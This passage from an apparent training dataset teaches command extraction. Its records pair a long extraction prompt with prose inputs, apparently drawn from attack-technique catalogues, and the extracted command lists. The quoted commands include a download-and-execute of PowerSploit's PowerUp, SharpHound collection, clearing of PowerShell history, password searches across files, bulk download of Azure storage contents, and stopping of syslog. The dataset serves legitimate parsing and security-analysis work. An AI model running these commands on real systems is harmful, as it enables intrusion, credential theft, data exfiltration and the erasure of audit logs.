    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For detecting files that have the setgid permission, use this command: find /usr/bin -perm -2000; For executing an MSI payload with embedded JScript, utilize the Win32_Product class with the command: Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }",
    "output": "{\"command_list\": [\"find /usr/bin -perm -2000\\n\", \"Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prevent PowerShell from saving command history, use the following command: Set-PSReadlineOption -HistorySaveStyle SaveNothing; To clear the PowerShell history, use the following command: Remove-Item (Get-PSReadlineOption).HistorySavePath",
    "output": "{\"command_list\": [\"Set-PSReadlineOption -HistorySaveStyle SaveNothing\\n\", \"Remove-Item (Get-PSReadlineOption).HistorySavePath\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate users and groups, you can use the following commands: groups\nid\n; You can list all local users and groups by executing this series of commands: dscl . list /Groups\ndscl . list /Users\ndscl . list /Users | grep -v '_'\ndscacheutil -q group\ndscacheutil -q user",
    "output": "{\"command_list\": [\"groups\\nid\\n\", \"dscl . list /Groups\\ndscl . list /Users\\ndscl . list /Users | grep -v '_'\\ndscacheutil -q group\\ndscacheutil -q user\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The local system's groups can be enumerated with the command: wmic group get name; To enumerate local groups on the endpoint, use the following PowerShell cmdlet: Get-WMIObject Win32_Group",
    "output": "{\"command_list\": [\"wmic group get name\\n\", \"Get-WMIObject Win32_Group\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Search for password strings within files using this command: grep -ri password #{file_path}\nexit 0; For extracting credentials from files, use the following command to search for 'password' in XML, DOC, TXT, and XLS files: findstr /si pass *.xml *.doc *.txt *.xls\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\n",
    "output": "{\"command_list\": [\"grep -ri password #{file_path}\\nexit 0\\n\", \"findstr /si pass *.xml *.doc *.txt *.xls\\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For dumping storage account object contents from a CSV file (which must contain specific columns), the test requires interactive mode for MFA and a user with 'Storage Account Contributor' role. Execute it with this command:\n$storage_account_objects = Import-Csv -Path \"#{storage_account_objects_csv_file_path}\"\n\n# Login to Azure\naz login\n\nif (-not (Test-Path -Path \"#{output_folder}\")) {\n    New-Item -ItemType Directory -Path \"#{output_folder}\"\n}\n\nforeach ($row in $storage_account_objects) {\n    \n    if ($row.FileShareName -ne \"\"){\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n        if ($allowSharedKeyAccess -eq \"false\") {    # $allowSharedKeyAccess could be true or null\n            Write-Output \"Shared key access is disabled for this storage account.\"\n        } else {\n            Write-Output \"Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ...\"\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\n            \n            # Create folder for storage account objects\n            $storageAccountOutputPath = Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\n            }\n\n            # create folder for file share content\n            $fileSharePath = Join-Path -Path $storageAccountOutputPath $row.FileShareName\n            if (-not (Test-Path -Path $fileSharePath)) {\n                New-Item -ItemType Directory -Path $fileSharePath\n            }\n            az storage file download-batch --connection-string $connectionString --source $row.FileShareName --destination $fileSharePath\n        }\n    } elseif ($row.ContainerName -ne \"\" -and $row.BlobName -eq \"\") {\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n        if ($allowSharedKeyAccess -eq \"false\") {    # $allowSharedKeyAccess could be true or null\n            Write-Output \"Shared key access is disabled for this storage account.\"\n        } else {\n            Write-Output \"Fetching all blobs from container $($row.ContainerName) in storage account $($row.StorageAccountName) ...\"\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\n            \n            # Create folder for storage account objects\n            $storageAccountOutputPath = Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\n            }\n\n            # create folder for blob content\n            $containerFolderPath = Join-Path $storageAccountOutputPath $row.ContainerName\n            if (-not (Test-Path -Path $containerFolderPath)) {\n                New-Item -ItemType Directory -Path $containerFolderPath\n            }\n            az storage blob download-batch --destination $containerFolderPath --source $row.ContainerName --connection-string $connectionString\n        }\n    }\n}; You can stop syslog collection and disable it on startup with the command: service syslogd stop\nsysrc syslogd_enable=\"NO\"",
    "output": "{\"command_list\": [\"$storage_account_objects = Import-Csv -Path \\\"#{storage_account_objects_csv_file_path}\\\"\\n\\n# Login to Azure\\naz login\\n\\nif (-not (Test-Path -Path \\\"#{output_folder}\\\")) {\\n    New-Item -ItemType Directory -Path \\\"#{output_folder}\\\"\\n}\\n\\nforeach ($row in $storage_account_objects) {\\n    \\n    if ($row.FileShareName -ne \\\"\\\"){\\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \\\"allowSharedKeyAccess\\\"\\n\\n        if ($allowSharedKeyAccess -eq \\\"false\\\") {    # $allowSharedKeyAccess could be true or null\\n            Write-Output \\\"Shared key access is disabled for this storage account.\\\"\\n        } else {\\n            Write-Output \\\"Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ...\\\"\\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\\n            \\n            # Create folder for storage account objects\\n            $storageAccountOutputPath = Join-Path #{output_folder} \\\"$($row.ResourceGroup)_$($row.StorageAccountName)\\\"\\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\\n            }\\n\\n            # create folder for file share content\\n            $fileSharePath = Join-Path -Path $storageAccountOutputPath $row.FileShareName\\n            if (-not (Test-Path -Path $fileSharePath)) {\\n                New-Item -ItemType Directory -Path $fileSharePath\\n            }\\n            az storage file download-batch --connection-string $connectionString --source $row.FileShareName --destination $fileSharePath\\n        }\\n    } elseif ($row.ContainerName -ne \\\"\\\" -and $row.BlobName -eq \\\"\\\") {\\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \\\"allowSharedKeyAccess\\\"\\n\\n        if ($allowSharedKeyAccess -eq \\\"false\\\") {    # $allowSharedKeyAccess could be true or null\\n            Write-Output \\\"Shared key access is disabled for this storage account.\\\"\\n        } else {\\n            Write-Output \\\"Fetching all blobs from container $($row.ContainerName) in storage account $($row.StorageAccountName) ...\\\"\\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\\n            \\n            # Create folder for storage account objects\\n            $storageAccountOutputPath = Join-Path #{output_folder} \\\"$($row.ResourceGroup)_$($row.StorageAccountName)\\\"\\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\\n            }\\n\\n            # create folder for blob content\\n            $containerFolderPath = Join-Path $storageAccountOutputPath $row.ContainerName\\n            if (-not (Test-Path -Path $containerFolderPath)) {\\n                New-Item -ItemType Directory -Path $containerFolderPath\\n            }\\n            az storage blob download-batch --destination $containerFolderPath --source $row.ContainerName --connection-string $connectionString\\n        }\\n    }\\n}\", \"service syslogd stop\\nsysrc syslogd_enable=\\\"NO\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately 